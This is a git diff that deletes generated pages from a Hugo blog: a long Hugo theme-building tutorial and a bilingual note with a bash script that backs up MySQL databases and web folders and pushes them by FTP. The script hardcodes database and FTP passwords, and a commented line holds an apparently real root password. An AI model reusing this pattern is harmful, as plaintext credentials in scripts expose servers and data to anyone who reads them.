    Hugo does two things when generating the site. It uses templates to transform content into HTML and it copies static files into the site. Unlike content, static files are not transformed. They are copied exactly as they are.

    - -

    Hugo assumes that your site will use both CSS and JavaScript, so it creates directories in your theme to hold them. Remember opinions? Well, Hugo’s opinion is that you’ll store your CSS in a directory named css/ and your JavaScript in a directory named js/. If you don’t like that, you can change the directory names in your theme directory or even delete them completely. Hugo’s nice enough to offer its opinion, then behave nicely if you disagree.

    - -
    $ find themes/zafta -type d | xargs ls -ld
    -drwxr-xr-x  7 quoha  staff  238 Sep 29 17:38 themes/zafta
    -drwxr-xr-x  3 quoha  staff  102 Sep 29 17:31 themes/zafta/archetypes
    -drwxr-xr-x  5 quoha  staff  170 Sep 29 17:31 themes/zafta/layouts
    -drwxr-xr-x  4 quoha  staff  136 Sep 29 17:31 themes/zafta/layouts/_default
    -drwxr-xr-x  4 quoha  staff  136 Sep 29 17:31 themes/zafta/layouts/partials
    -drwxr-xr-x  4 quoha  staff  136 Sep 29 17:31 themes/zafta/static
    -drwxr-xr-x  2 quoha  staff   68 Sep 29 17:31 themes/zafta/static/css
    -drwxr-xr-x  2 quoha  staff   68 Sep 29 17:31 themes/zafta/static/js
    -$
    -
    - -

    The Theme Development Cycle

    - -

    When you’re working on a theme, you will make changes in the theme’s directory, rebuild the site, and check your changes in the browser. Hugo makes this very easy:

    - -
      -
    1. Purge the public/ directory.
    2. -
    3. Run the built in web server in watch mode.
    4. -
    5. Open your site in a browser.
    6. -
    7. Update the theme.
    8. -
    9. Glance at your browser window to see changes.
    10. -
    11. Return to step 4.
    12. -
    - -

    I’ll throw in one more opinion: never work on a theme on a live site. Always work on a copy of your site. Make changes to your theme, test them, then copy them up to your site. For added safety, use a tool like Git to keep a revision history of your content and your theme. Believe me when I say that it is too easy to lose both your mind and your changes.

    - -

    Check the main Hugo site for information on using Git with Hugo.

    - -

    Purge the public/ Directory

    - -

    When generating the site, Hugo will create new files and update existing ones in the public/ directory. It will not delete files that are no longer used. For example, files that were created in the wrong directory or with the wrong title will remain. If you leave them, you might get confused by them later. I recommend cleaning out your site prior to generating it.

    - -

    Note: If you’re building on an SSD, you should ignore this. Churning on a SSD can be costly.

    - -

    Hugo’s Watch Option

    - -

    Hugo’s “--watch” option will monitor the content/ and your theme directories for changes and rebuild the site automatically.

    - -

    Live Reload

    - -

    Hugo’s built in web server supports live reload. As pages are saved on the server, the browser is told to refresh the page. Usually, this happens faster than you can say, “Wow, that’s totally amazing.”

    - -

    Development Commands

    - -

    Use the following commands as the basis for your workflow.

    - -
    ## purge old files. hugo will recreate the public directory.
    -##
    -$ rm -rf public
    -##
    -## run hugo in watch mode
    -##
    -$ hugo server --watch --verbose
    -
    - -

    Here’s sample output showing Hugo detecting a change to the template for the home page. Once generated, the web browser automatically reloaded the page. I’ve said this before, it’s amazing.

    - -
    $ rm -rf public
    -$ hugo server --watch --verbose
    -INFO: 2014/09/29 Using config file: /Users/quoha/Sites/zafta/config.toml
    -INFO: 2014/09/29 syncing from /Users/quoha/Sites/zafta/themes/zafta/static/ to /Users/quoha/Sites/zafta/public/
    -INFO: 2014/09/29 syncing from /Users/quoha/Sites/zafta/static/ to /Users/quoha/Sites/zafta/public/
    -WARN: 2014/09/29 Unable to locate layout: [404.html theme/404.html]
    -0 draft content
    -0 future content
    -0 pages created
    -0 tags created
    -0 categories created
    -in 2 ms
    -Watching for changes in /Users/quoha/Sites/zafta/content
    -Serving pages from /Users/quoha/Sites/zafta/public
    -Web Server is available at http://localhost:1313
    -Press Ctrl+C to stop
    -INFO: 2014/09/29 File System Event: ["/Users/quoha/Sites/zafta/themes/zafta/layouts/index.html": MODIFY|ATTRIB]
    -Change detected, rebuilding site
    -
    -WARN: 2014/09/29 Unable to locate layout: [404.html theme/404.html]
    -0 draft content
    -0 future content
    -0 pages created
    -0 tags created
    -0 categories created
    -in 1 ms
    -
    - -

    Update the Home Page Template

    - -

    The home page is one of a few special pages that Hugo creates automatically. As mentioned earlier, it looks for one of three files in the theme’s layout/ directory:

    - -
      -
    1. index.html
    2. -
    3. _default/list.html
    4. -
    5. _default/single.html
    6. -
    - -

    We could update one of the default templates, but a good design decision is to update the most specific template available. That’s not a hard and fast rule (in fact, we’ll break it a few times in this tutorial), but it is a good generalization.

    - -

    Make a Static Home Page

    - -

    Right now, that page is empty because we don’t have any content and we don’t have any logic in the template. Let’s change that by adding some text to the template.

    - -
    $ vi themes/zafta/layouts/index.html
    -<!DOCTYPE html>
    -<html>
    -<body>
    -  <p>hugo says hello!</p>
    -</body>
    -</html>
    -:wq
    -
    -$
    -
    - -

    Build the web site and then verify the results.

    - -
    $ hugo --verbose
    -INFO: 2014/09/29 Using config file: /Users/quoha/Sites/zafta/config.toml
    -INFO: 2014/09/29 syncing from /Users/quoha/Sites/zafta/themes/zafta/static/ to /Users/quoha/Sites/zafta/public/
    -INFO: 2014/09/29 syncing from /Users/quoha/Sites/zafta/static/ to /Users/quoha/Sites/zafta/public/
    -WARN: 2014/09/29 Unable to locate layout: [404.html theme/404.html]
    -0 draft content
    -0 future content
    -0 pages created
    -0 tags created
    -0 categories created
    -in 2 ms
    -
    -$ find public -type f -name '*.html' | xargs ls -l
    --rw-r--r--  1 quoha  staff  78 Sep 29 21:26 public/index.html
    -
    -$ cat public/index.html
    -<!DOCTYPE html>
    -<html>
    -<body>
    -  <p>hugo says hello!</p>
    -</html>
    -
    - -

    Live Reload

    - -

    Note: If you’re running the server with the --watch option, you’ll see different content in the file:

    - -
    $ cat public/index.html
    -<!DOCTYPE html>
    -<html>
    -<body>
    -  <p>hugo says hello!</p>
    -<script>document.write('<script src="http://'
    -        + (location.host || 'localhost').split(':')[0]
    -    + ':1313/livereload.js?mindelay=10"></'
    -        + 'script>')</script></body>
    -</html>
    -
    - -

    When you use --watch, the Live Reload script is added by Hugo. Look for live reload in the documentation to see what it does and how to disable it.

    - -

    Build a “Dynamic” Home Page

    - -

    “Dynamic home page?” Hugo’s a static web site generator, so this seems an odd thing to say. I mean let’s have the home page automatically reflect the content in the site every time Hugo builds it. We’ll use iteration in the template to do that.

    - -

    Create New Posts

    - -

    Now that we have the home page generating static content, let’s add some content to the site. We’ll display these posts as a list on the home page and on their own page, too.

    - -

    Hugo has a command to generate a skeleton post, just like it does for sites and themes.

    - -
    $ hugo --verbose new post/first.md
    -INFO: 2014/09/29 Using config file: /Users/quoha/Sites/zafta/config.toml
    -INFO: 2014/09/29 attempting to create  post/first.md of post
    -INFO: 2014/09/29 curpath: /Users/quoha/Sites/zafta/themes/zafta/archetypes/default.md
    -ERROR: 2014/09/29 Unable to Cast <nil> to map[string]interface{}
    -
    -$
    -
    - -

    That wasn’t very nice, was it?

    - -

    The “new” command uses an archetype to create the post file. Hugo created an empty default archetype file, but that causes an error when there’s a theme. For me, the workaround was to create an archetypes file specifically for the post type.

    - -
    $ vi themes/zafta/archetypes/post.md
    -+++
    -Description = ""
    -Tags = []
    -Categories = []
    -+++
    -:wq
    -
    -$ find themes/zafta/archetypes -type f | xargs ls -l
    --rw-r--r--  1 quoha  staff   0 Sep 29 21:53 themes/zafta/archetypes/default.md
    --rw-r--r--  1 quoha  staff  51 Sep 29 21:54 themes/zafta/archetypes/post.md
    -
    -$ hugo --verbose new post/first.md
    -INFO: 2014/09/29 Using config file: /Users/quoha/Sites/zafta/config.toml
    -INFO: 2014/09/29 attempting to create  post/first.md of post
    -INFO: 2014/09/29 curpath: /Users/quoha/Sites/zafta/themes/zafta/archetypes/post.md
    -INFO: 2014/09/29 creating /Users/quoha/Sites/zafta/content/post/first.md
    -/Users/quoha/Sites/zafta/content/post/first.md created
    -
    -$ hugo --verbose new post/second.md
    -INFO: 2014/09/29 Using config file: /Users/quoha/Sites/zafta/config.toml
    -INFO: 2014/09/29 attempting to create  post/second.md of post
    -INFO: 2014/09/29 curpath: /Users/quoha/Sites/zafta/themes/zafta/archetypes/post.md
    -INFO: 2014/09/29 creating /Users/quoha/Sites/zafta/content/post/second.md
    -/Users/quoha/Sites/zafta/content/post/second.md created
    -
    -$ ls -l content/post
    -total 16
    --rw-r--r--  1 quoha  staff  104 Sep 29 21:54 first.md
    --rw-r--r--  1 quoha  staff  105 Sep 29 21:57 second.md
    -
    -$ cat content/post/first.md
    -+++
    -Categories = []
    -Description = ""
    -Tags = []
    -date = "2014-09-29T21:54:53-05:00"
    -title = "first"
    -
    -+++
    -my first post
    -
    -$ cat content/post/second.md
    -+++
    -Categories = []
    -Description = ""
    -Tags = []
    -date = "2014-09-29T21:57:09-05:00"
    -title = "second"
    -
    -+++
    -my second post
    -
    -$
    -
    - -

    Build the web site and then verify the results.

    - -
    $ rm -rf public
    -$ hugo --verbose
    -INFO: 2014/09/29 Using config file: /Users/quoha/Sites/zafta/config.toml
    -INFO: 2014/09/29 syncing from /Users/quoha/Sites/zafta/themes/zafta/static/ to /Users/quoha/Sites/zafta/public/
    -INFO: 2014/09/29 syncing from /Users/quoha/Sites/zafta/static/ to /Users/quoha/Sites/zafta/public/
    -INFO: 2014/09/29 found taxonomies: map[string]string{"category":"categories", "tag":"tags"}
    -WARN: 2014/09/29 Unable to locate layout: [404.html theme/404.html]
    -0 draft content
    -0 future content
    -2 pages created
    -0 tags created
    -0 categories created
    -in 4 ms
    -$
    -
    - -

    The output says that it created 2 pages. Those are our new posts:

    - -
    $ find public -type f -name '*.html' | xargs ls -l
    --rw-r--r--  1 quoha  staff  78 Sep 29 22:13 public/index.html
    --rw-r--r--  1 quoha  staff   0 Sep 29 22:13 public/post/first/index.html
    --rw-r--r--  1 quoha  staff   0 Sep 29 22:13 public/post/index.html
    --rw-r--r--  1 quoha  staff   0 Sep 29 22:13 public/post/second/index.html
    -$
    -
    - -

    The new files are empty because because the templates used to generate the content are empty. The homepage doesn’t show the new content, either. We have to update the templates to add the posts.

    - -

    List and Single Templates

    - -

    In Hugo, we have three major kinds of templates. There’s the home page template that we updated previously. It is used only by the home page. We also have “single” templates which are used to generate output for a single content file. We also have “list” templates that are used to group multiple pieces of content before generating output.

    - -

    Generally speaking, list templates are named “list.html” and single templates are named “single.html.”

    - -

    There are three other types of templates: partials, content views, and terms. We will not go into much detail on these.

    - -

    Add Content to the Homepage

    - -

    The home page will contain a list of posts. Let’s update its template to add the posts that we just created. The logic in the template will run every time we build the site.

    - -
    $ vi themes/zafta/layouts/index.html
    -<!DOCTYPE html>
    -<html>
    -<body>
    -  {{ range first 10 .Data.Pages }}
    -    <h1>{{ .Title }}</h1>
    -  {{ end }}
    -</body>
    -</html>
    -:wq
    -
    -$
    -
    - -

    Hugo uses the Go template engine. That engine scans the template files for commands which are enclosed between “{{” and “}}”. In our template, the commands are:

    - -
      -
    1. range
    2. -
    3. .Title
    4. -
    5. end
    6. -
    - -

    The “range” command is an iterator. We’re going to use it to go through the first ten pages. Every HTML file that Hugo creates is treated as a page, so looping through the list of pages will look at every file that will be created.

    - -

    The “.Title” command prints the value of the “title” variable. Hugo pulls it from the front matter in the Markdown file.

    - -

    The “end” command signals the end of the range iterator. The engine loops back to the top of the iteration when it finds “end.” Everything between the “range” and “end” is evaluated every time the engine goes through the iteration. In this file, that would cause the title from the first ten pages to be output as heading level one.

    - -

    It’s helpful to remember that some variables, like .Data, are created before any output files. Hugo loads every content file into the variable and then gives the template a chance to process before creating the HTML files.

    - -

    Build the web site and then verify the results.

    - -
    $ rm -rf public
    -$ hugo --verbose
    -INFO: 2014/09/29 Using config file: /Users/quoha/Sites/zafta/config.toml
    -INFO: 2014/09/29 syncing from /Users/quoha/Sites/zafta/themes/zafta/static/ to /Users/quoha/Sites/zafta/public/
    -INFO: 2014/09/29 syncing from /Users/quoha/Sites/zafta/static/ to /Users/quoha/Sites/zafta/public/
    -INFO: 2014/09/29 found taxonomies: map[string]string{"tag":"tags", "category":"categories"}
    -WARN: 2014/09/29 Unable to locate layout: [404.html theme/404.html]
    -0 draft content
    -0 future content
    -2 pages created
    -0 tags created
    -0 categories created
    -in 4 ms
    -$ find public -type f -name '*.html' | xargs ls -l
    --rw-r--r--  1 quoha  staff  94 Sep 29 22:23 public/index.html
    --rw-r--r--  1 quoha  staff   0 Sep 29 22:23 public/post/first/index.html
    --rw-r--r--  1 quoha  staff   0 Sep 29 22:23 public/post/index.html
    --rw-r--r--  1 quoha  staff   0 Sep 29 22:23 public/post/second/index.html
    -$ cat public/index.html
    -<!DOCTYPE html>
    -<html>
    -<body>
    -
    -    <h1>second</h1>
    -
    -    <h1>first</h1>
    -
    -</body>
    -</html>
    -$
    -
    - -

    Congratulations, the home page shows the title of the two posts. The posts themselves are still empty, but let’s take a moment to appreciate what we’ve done. Your template now generates output dynamically. Believe it or not, by inserting the range command inside of those curly braces, you’ve learned everything you need to know to build a theme. All that’s really left is understanding which template will be used to generate each content file and becoming familiar with the commands for the template engine.

    - -

    And, if that were entirely true, this tutorial would be much shorter. There are a few things to know that will make creating a new template much easier. Don’t worry, though, that’s all to come.

    - -

    Add Content to the Posts

    - -

    We’re working with posts, which are in the content/post/ directory. That means that their section is “post” (and if we don’t do something weird, their type is also “post”).

    - -

    Hugo uses the section and type to find the template file for every piece of content. Hugo will first look for a template file that matches the section or type name. If it can’t find one, then it will look in the _default/ directory. There are some twists that we’ll cover when we get to categories and tags, but for now we can assume that Hugo will try post/single.html, then _default/single.html.

    - -

    Now that we know the search rule, let’s see what we actually have available:

    - -
    $ find themes/zafta -name single.html | xargs ls -l
    --rw-r--r--  1 quoha  staff  132 Sep 29 17:31 themes/zafta/layouts/_default/single.html
    -
    - -

    We could create a new template, post/single.html, or change the default. Since we don’t know of any other content types, let’s start with updating the default.

    - -

    Remember, any content that we haven’t created a template for will end up using this template. That can be good or bad. Bad because I know that we’re going to be adding different types of content and we’re going to end up undoing some of the changes we’ve made. It’s good because we’ll be able to see immediate results. It’s also good to start here because we can start to build the basic layout for the site. As we add more content types, we’ll refactor this file and move logic around. Hugo makes that fairly painless, so we’ll accept the cost and proceed.

    - -

    Please see the Hugo documentation on template rendering for all the details on determining which template to use. And, as the docs mention, if you’re building a single page application (SPA) web site, you can delete all of the other templates and work with just the default single page. That’s a refreshing amount of joy right there.

    - -

    Update the Template File

    - -
    $ vi themes/zafta/layouts/_default/single.html
    -<!DOCTYPE html>
    -<html>
    -<head>
    -  <title>{{ .Title }}</title>
    -</head>
    -<body>
    -  <h1>{{ .Title }}</h1>
    -  {{ .Content }}
    -</body>
    -</html>
    -:wq
    -
    -$
    -
    - -

    Build the web site and verify the results.

    - -
    $ rm -rf public
    -$ hugo --verbose
    -INFO: 2014/09/29 Using config file: /Users/quoha/Sites/zafta/config.toml
    -INFO: 2014/09/29 syncing from /Users/quoha/Sites/zafta/themes/zafta/static/ to /Users/quoha/Sites/zafta/public/
    -INFO: 2014/09/29 syncing from /Users/quoha/Sites/zafta/static/ to /Users/quoha/Sites/zafta/public/
    -INFO: 2014/09/29 found taxonomies: map[string]string{"tag":"tags", "category":"categories"}
    -WARN: 2014/09/29 Unable to locate layout: [404.html theme/404.html]
    -0 draft content
    -0 future content
    -2 pages created
    -0 tags created
    -0 categories created
    -in 4 ms
    -
    -$ find public -type f -name '*.html' | xargs ls -l
    --rw-r--r--  1 quoha  staff   94 Sep 29 22:40 public/index.html
    --rw-r--r--  1 quoha  staff  125 Sep 29 22:40 public/post/first/index.html
    --rw-r--r--  1 quoha  staff    0 Sep 29 22:40 public/post/index.html
    --rw-r--r--  1 quoha  staff  128 Sep 29 22:40 public/post/second/index.html
    -
    -$ cat public/post/first/index.html
    -<!DOCTYPE html>
    -<html>
    -<head>
    -  <title>first</title>
    -</head>
    -<body>
    -  <h1>first</h1>
    -  <p>my first post</p>
    -
    -</body>
    -</html>
    -
    -$ cat public/post/second/index.html
    -<!DOCTYPE html>
    -<html>
    -<head>
    -  <title>second</title>
    -</head>
    -<body>
    -  <h1>second</h1>
    -  <p>my second post</p>
    -
    -</body>
    -</html>
    -$
    -
    - -

    Notice that the posts now have content. You can go to localhost:1313/post/first to verify.

    - -

    Linking to Content

    - -

    The posts are on the home page. Let’s add a link from there to the post. Since this is the home page, we’ll update its template.

    - -
    $ vi themes/zafta/layouts/index.html
    -<!DOCTYPE html>
    -<html>
    -<body>
    -  {{ range first 10 .Data.Pages }}
    -    <h1><a href="{{ .Permalink }}">{{ .Title }}</a></h1>
    -  {{ end }}
    -</body>
    -</html>
    -
    - -

    Build the web site and verify the results.

    - -
    $ rm -rf public
    -$ hugo --verbose
    -INFO: 2014/09/29 Using config file: /Users/quoha/Sites/zafta/config.toml
    -INFO: 2014/09/29 syncing from /Users/quoha/Sites/zafta/themes/zafta/static/ to /Users/quoha/Sites/zafta/public/
    -INFO: 2014/09/29 syncing from /Users/quoha/Sites/zafta/static/ to /Users/quoha/Sites/zafta/public/
    -INFO: 2014/09/29 found taxonomies: map[string]string{"tag":"tags", "category":"categories"}
    -WARN: 2014/09/29 Unable to locate layout: [404.html theme/404.html]
    -0 draft content
    -0 future content
    -2 pages created
    -0 tags created
    -0 categories created
    -in 4 ms
    -
    -$ find public -type f -name '*.html' | xargs ls -l
    --rw-r--r--  1 quoha  staff  149 Sep 29 22:44 public/index.html
    --rw-r--r--  1 quoha  staff  125 Sep 29 22:44 public/post/first/index.html
    --rw-r--r--  1 quoha  staff    0 Sep 29 22:44 public/post/index.html
    --rw-r--r--  1 quoha  staff  128 Sep 29 22:44 public/post/second/index.html
    -
    -$ cat public/index.html
    -<!DOCTYPE html>
    -<html>
    -<body>
    -
    -    <h1><a href="/post/second/">second</a></h1>
    -
    -    <h1><a href="/post/first/">first</a></h1>
    -
    -</body>
    -</html>
    -
    -$
    -
    - -

    Create a Post Listing

    - -

    We have the posts displaying on the home page and on their own page. We also have a file public/post/index.html that is empty. Let’s make it show a list of all posts (not just the first ten).

    - -

    We need to decide which template to update. This will be a listing, so it should be a list template. Let’s take a quick look and see which list templates are available.

    - -
    $ find themes/zafta -name list.html | xargs ls -l
    --rw-r--r--  1 quoha  staff  0 Sep 29 17:31 themes/zafta/layouts/_default/list.html
    -
    - -

    As with the single post, we have to decide to update _default/list.html or create post/list.html. We still don’t have multiple content types, so let’s stay consistent and update the default list template.

    - -

    Creating Top Level Pages

    - -

    Let’s add an “about” page and display it at the top level (as opposed to a sub-level like we did with posts).

    - -

    The default in Hugo is to use the directory structure of the content/ directory to guide the location of the generated html in the public/ directory. Let’s verify that by creating an “about” page at the top level:

    - -
    $ vi content/about.md
    -+++
    -title = "about"
    -description = "about this site"
    -date = "2014-09-27"
    -slug = "about time"
    -+++
    -
    -## about us
    -
    -i'm speechless
    -:wq
    -
    - -

    Generate the web site and verify the results.

    - -
    $ find public -name '*.html' | xargs ls -l
    --rw-rw-r--  1 mdhender  staff   334 Sep 27 15:08 public/about-time/index.html
    --rw-rw-r--  1 mdhender  staff   527 Sep 27 15:08 public/index.html
    --rw-rw-r--  1 mdhender  staff   358 Sep 27 15:08 public/post/first-post/index.html
    --rw-rw-r--  1 mdhender  staff     0 Sep 27 15:08 public/post/index.html
    --rw-rw-r--  1 mdhender  staff   342 Sep 27 15:08 public/post/second-post/index.html
    -
    - -

    Notice that the page wasn’t created at the top level. It was created in a sub-directory named ‘about-time/’. That name came from our slug. Hugo will use the slug to name the generated content. It’s a reasonable default, by the way, but we can learn a few things by fighting it for this file.

    - -

    One other thing. Take a look at the home page.

    - -
    $ cat public/index.html
    -<!DOCTYPE html>
    -<html>
    -<body>
    -    <h1><a href="http://localhost:1313/post/theme/">creating a new theme</a></h1>
    -    <h1><a href="http://localhost:1313/about-time/">about</a></h1>
    -    <h1><a href="http://localhost:1313/post/second-post/">second</a></h1>
    -    <h1><a href="http://localhost:1313/post/first-post/">first</a></h1>
    -<script>document.write('<script src="http://'
    -        + (location.host || 'localhost').split(':')[0]
    -        + ':1313/livereload.js?mindelay=10"></'
    -        + 'script>')</script></body>
    -</html>
    -
    - -

    Notice that the “about” link is listed with the posts? That’s not desirable, so let’s change that first.

    - -
    $ vi themes/zafta/layouts/index.html
    -<!DOCTYPE html>
    -<html>
    -<body>
    -  <h1>posts</h1>
    -  {{ range first 10 .Data.Pages }}
    -    {{ if eq .Type "post"}}
    -      <h2><a href="{{ .Permalink }}">{{ .Title }}</a></h2>
    -    {{ end }}
    -  {{ end }}
    -
    -  <h1>pages</h1>
    -  {{ range .Data.Pages }}
    -    {{ if eq .Type "page" }}
    -      <h2><a href="{{ .Permalink }}">{{ .Title }}</a></h2>
    -    {{ end }}
    -  {{ end }}
    -</body>
    -</html>
    -:wq
    -
    - -

    Generate the web site and verify the results. The home page has two sections, posts and pages, and each section has the right set of headings and links in it.

    - -

    But, that about page still renders to about-time/index.html.

    - -
    $ find public -name '*.html' | xargs ls -l
    --rw-rw-r--  1 mdhender  staff    334 Sep 27 15:33 public/about-time/index.html
    --rw-rw-r--  1 mdhender  staff    645 Sep 27 15:33 public/index.html
    --rw-rw-r--  1 mdhender  staff    358 Sep 27 15:33 public/post/first-post/index.html
    --rw-rw-r--  1 mdhender  staff      0 Sep 27 15:33 public/post/index.html
    --rw-rw-r--  1 mdhender  staff    342 Sep 27 15:33 public/post/second-post/index.html
    -
    - -

    Knowing that hugo is using the slug to generate the file name, the simplest solution is to change the slug. Let’s do it the hard way and change the permalink in the configuration file.

    - -
    $ vi config.toml
    -[permalinks]
    -    page = "/:title/"
    -    about = "/:filename/"
    -
    - -

    Generate the web site and verify that this didn’t work. Hugo lets “slug” or “URL” override the permalinks setting in the configuration file. Go ahead and comment out the slug in content/about.md, then generate the web site to get it to be created in the right place.

    - -

    Sharing Templates

    - -

    If you’ve been following along, you probably noticed that posts have titles in the browser and the home page doesn’t. That’s because we didn’t put the title in the home page’s template (layouts/index.html). That’s an easy thing to do, but let’s look at a different option.

    - -

    We can put the common bits into a shared template that’s stored in the themes/zafta/layouts/partials/ directory.

    - - - -

    In Hugo, a partial is a sugar-coated template. Normally a template reference has a path specified. Partials are different. Hugo searches for them along a TODO defined search path. This makes it easier for end-users to override the theme’s presentation.

    - -
    $ vi themes/zafta/layouts/partials/header.html
    -<!DOCTYPE html>
    -<html>
    -<head>
    -    <title>{{ .Title }}</title>
    -</head>
    -<body>
    -:wq
    -
    -$ vi themes/zafta/layouts/partials/footer.html
    -</body>
    -</html>
    -:wq
    -
    - -

    Update the Home Page Template to Use the Partials

    - -

    The most noticeable difference between a template call and a partials call is the lack of path:

    - -
    {{ template "theme/partials/header.html" . }}
    -
    - -

    versus

    - -
    {{ partial "header.html" . }}
    -
    - -

    Both pass in the context.

    - -

    Let’s change the home page template to use these new partials.

    - -
    $ vi themes/zafta/layouts/index.html
    -{{ partial "header.html" . }}
    -
    -  <h1>posts</h1>
    -  {{ range first 10 .Data.Pages }}
    -    {{ if eq .Type "post"}}
    -      <h2><a href="{{ .Permalink }}">{{ .Title }}</a></h2>
    -    {{ end }}
    -  {{ end }}
    -
    -  <h1>pages</h1>
    -  {{ range .Data.Pages }}
    -    {{ if or (eq .Type "page") (eq .Type "about") }}
    -      <h2><a href="{{ .Permalink }}">{{ .Type }} - {{ .Title }} - {{ .RelPermalink }}</a></h2>
    -    {{ end }}
    -  {{ end }}
    -
    -{{ partial "footer.html" . }}
    -:wq
    -
    - -

    Generate the web site and verify the results. The title on the home page is now “your title here”, which comes from the “title” variable in the config.toml file.

    - -

    Update the Default Single Template to Use the Partials

    - -
    $ vi themes/zafta/layouts/_default/single.html
    -{{ partial "header.html" . }}
    -
    -  <h1>{{ .Title }}</h1>
    -  {{ .Content }}
    -
    -{{ partial "footer.html" . }}
    -:wq
    -
    - -

    Generate the web site and verify the results. The title on the posts and the about page should both reflect the value in the markdown file.

    - -

    Add “Date Published” to Posts

    - -

    It’s common to have posts display the date that they were written or published, so let’s add that. The front matter of our posts has a variable named “date.” It’s usually the date the content was created, but let’s pretend that’s the value we want to display.

    - -

    Add “Date Published” to the Template

    - -

    We’ll start by updating the template used to render the posts. The template code will look like:

    - -
    {{ .Date.Format "Mon, Jan 2, 2006" }}
    -
    - -

    Posts use the default single template, so we’ll change that file.

    - -
    $ vi themes/zafta/layouts/_default/single.html
    -{{ partial "header.html" . }}
    -
    -  <h1>{{ .Title }}</h1>
    -  <h2>{{ .Date.Format "Mon, Jan 2, 2006" }}</h2>
    -  {{ .Content }}
    -
    -{{ partial "footer.html" . }}
    -:wq
    -
    - -

    Generate the web site and verify the results. The posts now have the date displayed in them. There’s a problem, though. The “about” page also has the date displayed.

    - -

    As usual, there are a couple of ways to make the date display only on posts. We could do an “if” statement like we did on the home page. Another way would be to create a separate template for posts.

    - -

    The “if” solution works for sites that have just a couple of content types. It aligns with the principle of “code for today,” too.

    - -

    Let’s assume, though, that we’ve made our site so complex that we feel we have to create a new template type. In Hugo-speak, we’re going to create a section template.

    - -

    Let’s restore the default single template before we forget.

    - -
    $ mkdir themes/zafta/layouts/post
    -$ vi themes/zafta/layouts/_default/single.html
    -{{ partial "header.html" . }}
    -
    -  <h1>{{ .Title }}</h1>
    -  {{ .Content }}
    -
    -{{ partial "footer.html" . }}
    -:wq
    -
    - -

    Now we’ll update the post’s version of the single template. If you remember Hugo’s rules, the template engine will use this version over the default.

    - -
    $ vi themes/zafta/layouts/post/single.html
    -{{ partial "header.html" . }}
    -
    -  <h1>{{ .Title }}</h1>
    -  <h2>{{ .Date.Format "Mon, Jan 2, 2006" }}</h2>
    -  {{ .Content }}
    -
    -{{ partial "footer.html" . }}
    -:wq
    -
    -
    - -

    Note that we removed the date logic from the default template and put it in the post template. Generate the web site and verify the results. Posts have dates and the about page doesn’t.

    - -

    Don’t Repeat Yourself

    - -

    DRY is a good design goal and Hugo does a great job supporting it. Part of the art of a good template is knowing when to add a new template and when to update an existing one. While you’re figuring that out, accept that you’ll be doing some refactoring. Hugo makes that easy and fast, so it’s okay to delay splitting up a template.

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/daily-autobackup-websites-offsite-backup-using-ftp/index.html b/themes/public/article/daily-autobackup-websites-offsite-backup-using-ftp/index.html deleted file mode 100644 index 2eae2e02..00000000 --- a/themes/public/article/daily-autobackup-websites-offsite-backup-using-ftp/index.html +++ /dev/null @@ -1,515 +0,0 @@ - - - - - - - - - - [筆記] Daily backup Websites and Offsite Backup using FTP 網頁備份 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [筆記] Daily backup Websites and Offsite Backup using FTP 網頁備份

    -
    - - - 2016-04-14 - - - - - - - - - 工作筆記 - - - - - -
    - - - - -

     Daily backup Websites and Offsite Backup using FTP 網頁備份

    - -

     

    - -

    1.多個資料庫一起備份 (事實上應該說備份MySQL Server內的所有資料庫) backup multiple databases , in facts , all databases will be dump and backup

    - -

    2.每一天都是完整備份,所以空間使用量請自行斟酌 in my case , there`s a little more than 500MB per day , that means 180GB per year

    - -

    3.備份完的資料透過FTP 外推到其他空間 backup files will be push to another sites using FTP

    - -

    4.變數請自行替換成符合個人的環境 please consider to change the variables in the script

    - -

      -> #!/bin/bash -> -> -> ############### Infos - Edit them accordingly  ######################## -> -> -> DATE=date +%Y-%m-%d -> -> -> DATECODE=date +%Y%m%d -> -> LOCAL_BACKUP_DIR=“/backups” -> -> #DB_NAME1=“DB1” -> -> #DB_NAME2=“DB2” -> -> #DB_NAME3=“DB3” -> -> #DB_NAME4=“DB4” -> -> DB_USER=“DBadmin” -> -> DB_PASSWORD=“DBadminpassword” -> -> -> FTP_SERVER=“ftp.abc.com” -> -> FTP_USERNAME=“ftpuser” -> -> FTP_PASSWORD=“ftpuserpassword” -> -> FTP_UPLOAD_DIR=“/website_backup” -> -> -> LOG_FILE=/backups/backup-DATE.log -> -> -> ############### Local Backup  ######################## -> -> #mysqldump -u $DB_USER -p$DB_PASSWORD –databases $DB_NAME1 $DB_NAME2 $DB_NAME3 $DB_NAME4 |gzip > $LOCAL_BACKUPDIR/$DATE-DB.sql.gz -> -> #mysql -uDBadmin -pDBadminpassword -e ‘show databases’ | while read dbname; do mysqldump -uroot -pu6hk4  “$dbname” > “$dbname”$datecode.sql; done -> -> mysql -uroot -pDBadmin -e ‘show databases’|grep -v Databas|grep -v information | while read dbname; do mysqldump -uDBadmin -pDBadminpassword  “$dbname” > /backups/“$dbname”$DATECODE.sql; done -> -> ls /backups/*.sql|while read dbname;do gzip -9 “$dbname”;done -> -> ############################################# -> -> #網頁原始程式備份 ## -> -> ############################################# -> -> -> ls -l /var/www/html |egrep  “^d”|awk -F “ ” ‘{print $9}’|while read sitename;do tar czvf  /backups/“$sitename”$DATECODE.tgz /var/www/html/$sitename;done -> -> #mysqldump -u $DB_USER  -p$DB_PASSWORD $DB_NAME | gzip  > $LOCAL_BACKUP_DIR/$DATE-$DB_NAME.sql.gz -> -> -> ############### UPLOAD to FTP Server  ################ -> -> -> ftp -nv $FTP_SERVER << EndFTP -> -> user “$FTP_USERNAME” “$FTP_PASSWORD” -> -> binary -> -> cd $FTP_UPLOAD_DIR -> -> lcd $LOCAL_BACKUP_DIR -> -> prom -> -> mput *.sql.gz -> -> mput *.tgz -> -> bye -> -> EndFTP -> -> -> ############### Check and save log, also send an email  ################ -> -> -> if test $? = 0 -> -> then -> -> echo “Database Successfully Uploaded to the Ftp Server!” -> -> echo -e “Database Successfully created and uploaded to the FTP Server!” | mail -s “Backup from $DATE” user@abc.com -> -> -> else -> -> echo “Error in database Upload to Ftp Server” > $LOG_FILE -> -> fi - 

    - -

     

    - - -
    - - - - -
    - - -
    - - -
